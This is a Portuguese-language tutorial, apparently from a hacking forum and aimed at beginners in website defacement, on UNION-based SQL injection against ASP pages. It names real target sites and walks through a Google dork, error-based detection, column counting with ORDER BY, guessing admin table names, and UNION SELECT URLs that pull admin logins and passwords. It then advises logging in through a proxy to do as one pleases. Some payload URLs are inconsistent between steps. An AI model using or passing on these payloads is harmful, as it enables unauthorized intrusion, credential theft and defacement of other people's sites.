Tutorial asp injection

Bem nesse tutorial vou explicar a tecníca de sql union em asp para quem começa em deface isso e importante para dar continuidade as outras aulas q vou fazer ok,vamos começar.

Tem varias dorks para o google vou usar como exemplo essa aqui  (novidades.asp?id=) achei esse site vulneravél  http://www.harasnovoprado.com.br/home/novidades.asp?id=29  entao como saber se ele está vulneravél ? Bem tem varias maneiras de saber isso uma delas  e colocando uma aspa assim ( ‘ ) sendo assim a url vai ficar desse jeito  http://www.harasnovoprado.com.br/home/novidades.asp?id=29’ ai se ele estiver vulneravel a sql union vai aparecer um erro parecido com esse ou diferente veja a baixo:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'Id = 29'''.

/home/novidades.asp, line 35

Entao eu já sei q ele ta vulneravel  e agora oq eu faço?

Bem agora vamos tentar saber quantas tabelas o sites tem para nós darmos continuidade vamos colocar o sequinte comnado na final da url do site  +order+by+numero de tabelas,  ficando assim na url  http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+1 se a pagina carregar normal e não aparecer o mesmo erro relatado acima e pq ele tem mais tabelas sendo assim subtitua o 1 pelo 2 ficando assim  http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+2  bem ainda ainda não ta dendo o erro agora teste um numero de tabela alto coloque o 5 no lugar do 2 ficando assim http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+5

Apareceu o erro

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '5' as a valid field name or expression.

/home/novidades.asp, line 35

Entao sabemos q não o site não tem 5 tabelas entao vou colocar o 4 no lugar do 5 ficando assim

http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+4 

agora sim não deu erro entao sabemos q o site tem 4 tabelas agora vamos manipula-lá pela url entao vamos primeiramente tentar achar a aréa administrativa do site q ai vai variar dependendo do webmaster, o padrão e : adm , login, admin, administrador, user, usuario.

Entao vamos tentar login ficando assim a url

http://www.harasnovoprado.com.br/admin entao nao deu em nada na existe entao vamos tentar adm ficando assim http://www.harasnovoprado.com.br/adm agora sim nao deu erro sabemos q a pasta adm existe entao vamos voltar para a url e unir as tabelas com o sequinte comando: +union+all+select+numeros de tabelas achadas+from+tabela do adm entao ficando assim na url

http://www.harasnovoprado.com.br/home/novidades.asp?id=29+union+all+select+1,2,3,4+from+adm

mais se voltar o erro entao a tabela adm não existe e provavel q o webmaster mudou entao no lugar de adm coloque o padrão q e admin ficando assim

http://www.harasnovoprado.com.br/home/novidades.asp?id=29+union+all+select+1,2,3,4+from+admin

entao a pagina carregou normalmente entao sabemos que aquela tabela existe entao agora vamos explorar vamos colocar um hifem ( - ) entra o ?id=-29+ ficando assim

www.harasnovoprado.com.br/home/novidades.asp?id=29+union+all+select+1,2,3,4+from+admin

entao  no lugar do errro irá aparecer ums numeros mais ou menos assim:

3
2

4

Agora  vamos manipular a url, entao na aréa administrativa tera os campos login e senha

Entao no lugar na url tem quem o numero 3 colocamos o nome login fcando assim

www.metax.com.br/noticias.asp?id=-9+union+all+select+1,2,login,4+from+adm

entao ira aparecer isso os nomes das colunas e o conteudo das tabelas, depois de ter injetado o nome login na url ira aparecer algo parecido com isso:

adm
2

4

Entao já sabemos q o login da area administrativa e adm entao agora vamos revelar a senha fazendo o mesmo processo mais no outra numero q aparecer nesse caso e 2 entao colocamos senha no lugar do 2 ficando assim:

www.metax.com.br/noticias.asp?id=-9+union+all+select+1,senha,login,4,5+from+adm bingo!! entao já sabemos login e senha, e temos a area administrativa entao agora e so usar um proxy para segurança e logar ai façam oq vcs quiser.

Entao so tem uma obs: caso a area administrativa tenha 3 campos  para login como por exemplo:  login, senha e chave.  Entao coloque no lugar do 4 a nome chave ficando assim:

www.metax.com.br/noticias.asp?id=-9+union+all+select+1,senha,login,chave,5+from+adm